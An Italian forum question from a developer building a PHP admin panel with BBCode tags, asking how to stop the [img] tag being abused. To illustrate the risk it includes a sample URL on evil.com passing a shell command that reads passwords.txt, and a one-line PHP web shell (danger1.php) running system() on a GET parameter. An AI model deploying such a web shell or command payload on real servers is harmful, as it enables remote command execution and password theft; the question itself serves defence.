Sto cercando di creare una sorta di pannello di amministrazione per il mio sito Web, quindi potrei ad esempio aggiungere facilmente articoli di notizie al mio sito web. Il problema è che gli amministratori dovrebbero essere in grado di utilizzare un tipo di BBCode, ma ho bisogno di farlo in modo sicuro.
Per questi tag non è un problema: [h1], [b], [i]
, ... Sostituisce solo con <h1>, <b>, <i>,
... ma sto riscontrando problemi con, ad esempio, il [img] -tag.
[img]http://image-host.com/cat.png[/img]
non è un problema se sostituisco [IMG]
con <img>
.
Ma
[img]http://evil.com/shell.php?cmd=echo $(cat passwords.txt) > stolenPasswords.txt"[/img]
potrebbe dare un problema (solo per un rapido esempio).
Gli utenti che reagiscono con un'immagine o un amministratore malvagio potrebbero fornire l'URL a una shell o altro codice malvagio.
Testato con questo codice:
test1.php:
<html>
<img src="cat.jpeg" /><br>
<img src="http://localhost/test2/danger1.php?cmd=echo$(cat../test/passwords.txt)>stolenPasswords.txt" />
</html>
danger1.php
<?php
$x = system($_GET["cmd"]);
?>
La normale convalida delle immagini soddisferà anche se è remota? IMHO non perché evil.com potrebbe essere un server Nginx su cui le immagini .png possono essere interpretate come codice.
Sto chiedendo come farlo in codice (PHP), ma anche su come proteggerlo con la configurazione del server.
TL; DR Come posso proteggere il pannello che consente agli amministratori e agli utenti di impostare il testo in grassetto e corsivo e le immagini usando qualcosa come i tag tipo BBCode?